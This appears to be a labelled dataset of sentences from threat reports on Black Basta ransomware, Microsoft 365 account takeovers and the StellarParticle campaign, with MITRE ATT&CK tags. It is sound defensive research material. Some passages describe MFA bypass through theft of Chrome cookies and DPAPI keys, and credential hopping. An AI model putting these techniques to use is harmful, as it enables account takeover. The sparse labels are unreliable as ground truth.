{"sentence": "Ensure that the User-ID service account does not have interactive logon rights Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned and set to appropriate actions Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources exists CORTEX XDR PREVENT Configure Host Firewall Profile CORTEX XSOAR Deploy XSOAR Playbook – Access Investigation Playbook Deploy XSOAR Playbook – Block Account Generic Collection", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The below courses of action mitigate the following techniques: Archive via Utility [T1560.001] CORTEX XDR Monitors for behavioral events via BIOCs including the creation of zip archives Command and Control The below courses of action mitigate the following techniques: Remote Access Software [T1219],", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Encrypted Channel [T1573] CORTEX XSOAR Deploy XSOAR Playbook – PAN-OS Query Logs for Indicators Deploy XSOAR Playbook – Block URL Deploy XSOAR Playbook – Block IP NEXT-GENERATION FIREWALLS Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist THREAT PREVENTION Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL FILTERING Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of ‘block’ or ‘override’ on the URL categories Ensure that access to every URL is logged Impact The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Inhibit System Recovery [T1490] CORTEX XSOAR Deploy XSOAR Playbook – Ransomware Manual for incident response.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Deploy XSOAR Playbook – Palo Alto Networks Endpoint Malware Investigation Conclusion Black Basta ransomware operators have been active since at least April 2022.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Although their RaaS has only been active for the past couple of months it had compromised at least 75 organizations at the time of this publication.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Due to the high-profile nature and steady stream of Black Basta attacks identified globally in 2022, the operators and/or affiliates behind the service likely will continue to attack and extort organizations.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Palo Alto Networks helps detect and prevent Black Basta ransomware in the following ways: WildFire:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "All known samples are identified as malware.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Cortex XDR: Identifies indicators associated with Black Basta.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Anti-Ransomware Module blocks Black Basta encryption behaviors on Windows.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Local Analysis detection for Black Basta binaries on Windows and Linux.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Behavioral Threat Prevention prevents Black Basta behaviors.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Next-Generation Firewalls:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "DNS Signatures detect the known C2 domains, which are also categorized as malware in Advanced URL Filtering.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Learn more about the Cyber Threat Alliance.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Additional Resources Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Amidst the ever-changing threat landscape, new tactics, techniques, and procedures (TTPs) seem to emerge daily, creating extreme challenges for security teams.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The broad range of attack methods utilized by attackers seems to present an insurmountable problem: how do you defend against a playbook that does not yet exist?Faced with the growing number of novel and uncommon attack methods, it is essential for organizations to adopt a security solution able to detect threats based on their anomalies, rather than relying on threat intelligence alone.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In March 2023, Darktrace observed an emerging trend in the use of an application known as ‘PerfectData Software’ for probable malicious purposes in several Microsoft 365 account takeovers.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Using its anomaly-based detection, Darktrace DETECT:trade_mark: was able to identify the activity chain surrounding the use of this application, potentially uncovering a novel piece of threat actor tradecraft in the process.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Microsoft 365 IntrusionsIn recent years, Microsoft’s Software-as-a-Service (SaaS) suite, Microsoft 365, along with its built-in identity and access management (IAM) service, Azure Active Directory (Azure AD), have been heavily targeted by threat actors due to their near-ubiquitous usage across industries.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Four out of every five Fortune 500 companies, for example, use Microsoft 365 services [1].", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Malicious actors typically gain entry to organizations’ Microsoft 365 environments by abusing either stolen account credentials or stolen session cookies", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "[2].", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Once inside, actors can access sensitive data within mailboxes or SharePoint repositories, and send out emails or Teams messages.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This activity can often result in serious financial harm, especially in cases where the malicious actor’s end-goal is to elicit fraudulent transactions.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace regularly observes malicious actors behaving in predictable ways once they gain access to customer Microsoft 365 environment.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "One typical example is the creation of new inbox rules and sending deceitful emails intended to convince recipients to carry out subsequent actions, such as following a malicious link or providing sensitive information.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It is also common for actors to register new applications in Azure AD so that they can be used to conduct follow-up activities, like mass-mailing or data theft.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The registration of applications in Azure AD therefore seems to be a relatively predictable threat actor behavior [3][4].", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace DETECT understands that unusual application registrations in Azure AD may constitute a deviation in expected behavior, and therefore a possible indicator of account compromise.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "These registrations of applications in Azure AD are evidenced by creations of, as well as assignments of permissions to, Service Principals in Azure AD.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace has detected a growing trend in actors creating and assigning permissions to a Service Principal named ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Further investigation of this Azure AD activity revealed it to be part of an ongoing account takeover.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "‘PerfectData Software’ Activity Darktrace observed variations of the following pattern of activity relating to an application named ‘PerfectData Software’ within its customer base:Actor signs in to a Microsoft 365 account from an endpoint associated with a Virtual Private Server (VPS) or Virtual Private Network (VPN) serviceActor registers an application called 'PerfectData Software' with Azure AD, and then grants permissions to the applicationActor accesses mailbox data and creates inbox rule In two separate incidents, malicious actors were observed conducting their activities from endpoints associated with VPN services (HideMyAss (HMA) VPN and Surfshark VPN, respectively) and from endpoints within the Autonomous System AS396073 MAJESTIC-HOSTING-01.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In March 2023, Darktrace observed a malicious actor signing in to a Microsoft 365 account from a Kuwait-based IP address within the Autonomous System, AS198605 AVAST Software s.r.o.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This IP address is associated with the VPN service, HMA VPN.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Over the next couple of days, an actor (likely the same malicious actor) signed in to the account several more times from two different Nigeria-based endpoints, as well as a VPS-related endpoint and a HMA VPN endpoint.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "During their login sessions, the actor performed a variety of actions.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "First, they created and assigned permissions to a Service Principal named ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This Service Principal creation represents the registration of an application called ‘PerfectData Software’ in Azure AD.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Although the reason for registering this application is unclear, within a few days the actor registered and granted permission to another application, ‘Newsletter Software Supermailer’, and created a new inbox rule names ‘s’ on the mailbox of the hijacked account.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This inbox rule moved emails meeting certain conditions to a folder named ‘RSS Subscription.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The ‘Newsletter Software Supermailer’ application was likely registered by the actor to facilitate mass-mailing activity.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Immediately after these actions, Darktrace detected the actor sending out thousands of malicious emails from the account.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The emails included an attachment named ‘Credit Transfer Copy.html’, which contained a suspicious link.", "labels": ["T1566.001"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Further investigation revealed that the customer’s network had received several fake invoice emails prior to this initial intrusion activity.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Additionally, there was an unusually high volume of failed logins to the compromised account around the time of the initial access.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 1: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In a separate case also observed by Darktrace in March 2023, a malicious actor was observed signing in to a Microsoft 365 account from an endpoint within the Autonomous System, AS397086 LAYER-HOST-HOUSTON.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The endpoint appears to be related to the VPN service, Surfshark VPN.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "This login was followed by several failed and successful logins from a VPS-related within the Autonomous System, AS396073 MAJESTIC-HOSTING-01.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The actor was then seen registering and assigning permissions to an application called ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "As with the previous example, the motives for this registration are unclear.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The actor proceeded to log in several more times from a Surfshark VPN endpoint, however, they were not observed carrying out any further suspicious activity.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 2: Advanced Search logs depicting the steps which the actor took after logging in to a user’s Microsoft 365 account.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It was not clear in either of these examples, nor in fact any of cases observed by Darktrace, why actors had registered and assigned permissions to an application called ‘PerfectData Software’, and there do not appear to be any open-source intelligence (OSINT) resources or online literature related to the malicious usage of an application by that name.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "That said, there are several websites which appear to provide email migration and data recovery/backup tools under the moniker ‘PerfectData Software’.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It is unclear whether the use of ‘PerfectData Software’ by malicious actors observed on the networks of Darktrace customers was one of these tools.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "However, given the nature of the tools, it is possible that the actors intended to use them to facilitate the exfiltration of email data from compromises mailboxes.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "If the legitimate software ‘PerfectData’ is the application in question in these incidents, it is likely being purchased and misused by attackers for malicious purposes.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "It is also possible the application referenced in the incidents is a spoof of the legitimate ‘PerfectData’ software designed to masquerade a malicious application as legitimate.", "labels": ["T1036.005"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace CoverageCases of ‘PerfectData Software’ activity chains detected by Darktrace typically began with an actor signing into an internal user’s Microsoft 365 account from a VPN or VPS-related endpoint.", "labels": ["T1078"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "These login events, along with the suspicious email and/or brute-force activity which preceded them, caused the following DETECT models to breach:SaaS / Access / Unusual External Source for SaaS Credential UseSaaS / Access / Suspicious Login AttemptSaaS / Compromise / Login From Rare Following Suspicious Login Attempt(s)SaaS / Email Nexus / Unusual Location for SaaS and Email ActivitySubsequent activities, including inbox rule creations, registration of applications in Azure AD, and mass-mailing activity, resulted in breaches of the following DETECT models.", "labels": ["T1110"], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "SaaS / Admin / OAuth Permission Grant SaaS / Compromise / Unusual Logic Following OAuth Grant SaaS / Admin / New Application Service", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "PrincipalIaaS / Admin / Azure Application Administration ActivitiesSaaS / Compliance / New Email RuleSaaS / Compromise / Unusual Login and New Email RuleSaaS / Email Nexus / Suspicious Internal Exchange ActivitySaaS / Email Nexus / Possible Outbound Email SpamSaaS / Compromise / Unusual Login and Outbound Email SpamSaaS / Compromise / Suspicious Login and Suspicious Outbound Email(s)Figure 3: DETECT Model Breaches highlighting unusual login and 'PerfectData Software' registration activity from a malicious actor.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "In cases where Darktrace RESPOND:trade_mark: was enabled in autonomous response mode, ‘PerfectData Software’ activity chains resulted in breaches of the following RESPOND models:• Antigena / SaaS / Antigena Suspicious SaaS Activity Block• Antigena / SaaS / Antigena Significant Compliance Activity BlockIn response to these model breaches, Darktrace RESPOND took immediate action, performing aggressive, inhibitive actions, such as forcing the actor to log out of the SaaS platform, and disabling the user entirely.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "When applied autonomously, these RESPOND actions would seriously impede an attacker’s progress and minimize network disruption.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 4: A RESPOND model breach created in response to a malicious actor's registration of 'PerfectData Software'In addition, Darktrace Cyber AI Analyst was able to autonomously investigate registrations of the ‘PerfectData Software’ application and summarized its findings into digestible reports.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Figure 5: A Cyber AI Analyst Incident Event log showing AI Analyst autonomously pivoting off a breach of 'SaaS / Admin / OAuth Permission Grant' to uncover details of an account hijacking.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Conclusion Due to the widespread adoption of Microsoft 365 services in the workplace and continued emphasis on a remote workforce, account hijackings now pose a more serious threat to organizations around the world than ever before.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "The cases discussed here illustrate the tendency of malicious actors to conduct their activities from endpoints associated with VPN services, while also registering new applications, like PerfectData Software, with malicious intent.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "While it was unclear exactly why the malicious actors were using ‘PerfectData Software’ as part of their account hijacking, it is clear that either the legitimate or spoofed version of the application is becoming an very likely emergent piece of threat actor tradecraft.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "Darktrace DETECT’s anomaly-based approach to threat detection allowed it to recognize that the use of ‘PerfectData Software’ represented a deviation in the SaaS user’s expected behavior.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "While Darktrace RESPOND, when enabled in autonomous response mode, was able to quickly take preventative action against threat actors, blocking the potential use of the application for data exfiltration or other nefarious purposes.", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "AppendicesMITRE ATT&CK MappingReconnaissance:• T1598 ­– Phishing for InformationCredential Access:• T1110 – Brute ForceInitial Access:• T1078.004 – Valid Accounts: Cloud AccountsCommand and Control:• T1105 ­– Ingress Tool TransferPersistence:• T1098.003 – Account Manipulation: Additional Cloud Roles Collection:• T1114 – Email Collection Defense Evasion:• T1564.008 ­– Hide Artifacts: Email Hiding Rules­Lateral Movement:• T1534 – Internal SpearphishingUnusual Source IPs•", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "5.62.60[.]202 (AS198605 AVAST Software s.r.o.) • 160.152.10[.]215 (AS37637 Smile-Nigeria-AS)• 197.244.250[.]155 (AS37705 TOPNET)• 169.159.92[.]36 (AS37122 SMILE)• 45.62.170[.]237 (AS396073 MAJESTIC-HOSTING-01)• 92.38.180[.]49 (AS202422 G-Core Labs S.A)• 129.56.36[.]26 (AS327952 AS-NATCOM)• 92.38.180[.]47 (AS202422 G-Core Labs S.A.)• 107.179.20[.]214 (AS397086 LAYER-HOST-HOUSTON)• 45.62.170[.]31 (AS396073 MAJESTIC-HOSTING-01)References[1] https://www.investing.com/academy/statistics/microsoft-facts/[2] https://intel471.com/blog/countering-the-problem-of-credential-theft[3]", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "https://darktrace.com/blog/business-email-compromise-to-mass-phishing-campaign-attack-analysis[4] https://darktrace.com/blog/breakdown-of-a-multi-account-compromise-within-office-365", "labels": [], "doc_title": "Hafniuminspired cyberattacks neutralized by AI"}
{"sentence": "StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka APT29, “The Dukes”).", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The StellarParticle campaign has continued against multiple organizations, with COZY BEAR using novel tools and techniques to complete their objectives, as identified by CrowdStrike incident responders and the CrowdStrike Intelligence team.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Browser cookie theft and Microsoft Service Principal manipulation are two of the novel techniques and tools leveraged in the StellarParticle campaign and are discussed in this blog.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Two sophisticated malware families were placed on victim systems in mid-2019: a Linux variant of GoldMax and a new implant dubbed TrailBlazer.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Supply chain compromises are an increasing threat that impacts a range of sectors, with threat actors leveraging access to support several motivations including financial gain (such as with the Kaseya ransomware attack) and espionage.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Throughout 2020, an operation attributed to the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was conducted to gain access to the update mechanism of the SolarWinds IT management software and use it to broaden their intelligence collection capabilities.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This activity is tracked by CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary group.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations conducted by CrowdStrike.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These techniques include: Credential hopping for obscuring lateral movement Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation Stealing browser cookies for bypassing multifactor authentication Use of the TrailBlazer implant and the Linux variant of GoldMax malware Credential theft using Get-ADReplAccount Credential Hopping The majority of StellarParticle-related investigations conducted by CrowdStrike have started with the identification of adversary actions within a victim’s O365 environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This has been advantageous to CrowdStrike incident responders in that, through investigating victim O365 environments, they could gain an accurate accounting of time, account and source IP address of adversary victimization of the O365 tenant.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In multiple engagements, this led CrowdStrike incident responders to identify that the malicious authentications into victim O365 tenants had originated from within the victim’s own network.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Armed with this information, CrowdStrike investigators were able to identify from which systems in these internal networks the threat actor was making authentications to O365.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "These authentications would typically occur from servers in the environment, leading to natural investigative questions: Why would a user authenticate into O365 from a domain controller or other infrastructure server?", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "What credentials were used as part of the session from which the O365 authentication occurred?", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This led our responders to identify the occurrence of “credential hopping,” where the threat actor leveraged different credentials for each step while moving laterally through the victim’s network.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While this particular technique is not necessarily unique to the StellarParticle campaign, it indicates a more advanced threat actor and may go unnoticed by a victim.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Below is an example of how a threat actor performs credential hopping: Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account <user sftp> acquired during previous credential theft activities.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Log in to O365 as a user with privileged access to cloud resources.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Example of “credential hopping” technique This technique could be hard to identify in environments where defenders have little visibility into identity usage.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In the example shown in Figure 1, the threat actor leveraged a service interactively, which should generate detections for defenders to investigate.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "However, the threat actor could have easily used a second domain administrator account or any other combination of accounts that would not be easily detected.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A solution such as CrowdStrike Falcon:registered: Identity Threat Detection would help identify these anomalous logons — and especially infrequent destinations for accounts.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "(Read how CrowdStrike incident responders leverage the module in investigations in this blog: Credentials, Authentications and Hygiene: Supercharging Incident Response with Falcon Identity Threat Detection.)", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "But how had the threat actor succeeded in authenticating into victim O365 tenants, when multifactor authentication (MFA) had been enabled for every O365 user account at each victim organization investigated by CrowdStrike? Cookie Theft to Bypass MFA Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data.", "labels": ["T1078", "T1570"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In Windows, Chrome cookies and saved passwords are encrypted using DPAPI.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The user-specific encryption keys for DPAPI are stored under C:\\Users\\<user>\\AppData\\Roaming\\Microsoft\\Protect\\. To leverage these encryption keys, the threat actor must first decrypt them, either by using the user account’s Windows password, or, in Active Directory environments, by using a DPAPI domain backup key that is stored on domain controllers.", "labels": ["T1140"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Once the threat actor had a Chrome cookies file from a user that had already passed an MFA challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using the user’s DPAPI key.", "labels": ["T1140"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The cookies were then added to a new session using a “Cookie Editor” Chrome extension that the threat actor installed on victim systems and removed after using.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Shellbags, Falcon Telemetry and RDP Bitmap Cache From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been challenging to identify, due to the threat actor’s penchant for strict operational security.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This activity was identified via a NewScriptWritten event within Falcon when a JavaScript file was written to disk by a threat actor-initiated Chrome process.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This event captured the unique extension ID associated with the extension, thereby allowing CrowdStrike incident responders to validate via the Chrome Store that the JavaScript file was associated with the “Cookie Editor” plugin.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This extension permitted bypassing MFA requirements, as the cookies, replayed through the Cookie Editor extension, allowed the threat actor to hijack the already MFA-approved session of a targeted user.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Shellbags were also instrumental in identifying the cookie theft activity.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This artifact very clearly showed the threat actor accessing targeted users’ machines in sequence and browsing to the Chrome and DPAPI directories one after another.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Parsing Shellbags for an administrative account leveraged by the threat actor resulted in entries similar to the below.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Shellbag artifacts showing targeting of Chrome directories CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a target user’s Chrome and DPAPI directories via administrative share, installing the Cookie Editor extension, and using Chrome to impersonate the targeted user in the victim’s cloud tenants.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The decryption of the cookies is believed to have taken place offline after exfiltrating the data via the clipboard in the threat actor’s RDP session.", "labels": ["T1021.001", "T1140"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Representation of lateral movement to cookie theft to O365 authentication CrowdStrike identified a similar TTP where the threat actor connected via RDP to a user’s workstation with the workstation owner’s account (e.g., connecting via RDP to user1-pc using the account user1).", "labels": ["T1021.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In cases where the user had only locked their screen and not signed out, the threat actor was able to take over the user’s Windows session, as the RDP session would connect to the existing session of the same user.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "By examining RDP Bitmap Cache files, CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported all of the user’s saved passwords as plaintext in a CSV file during these sessions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
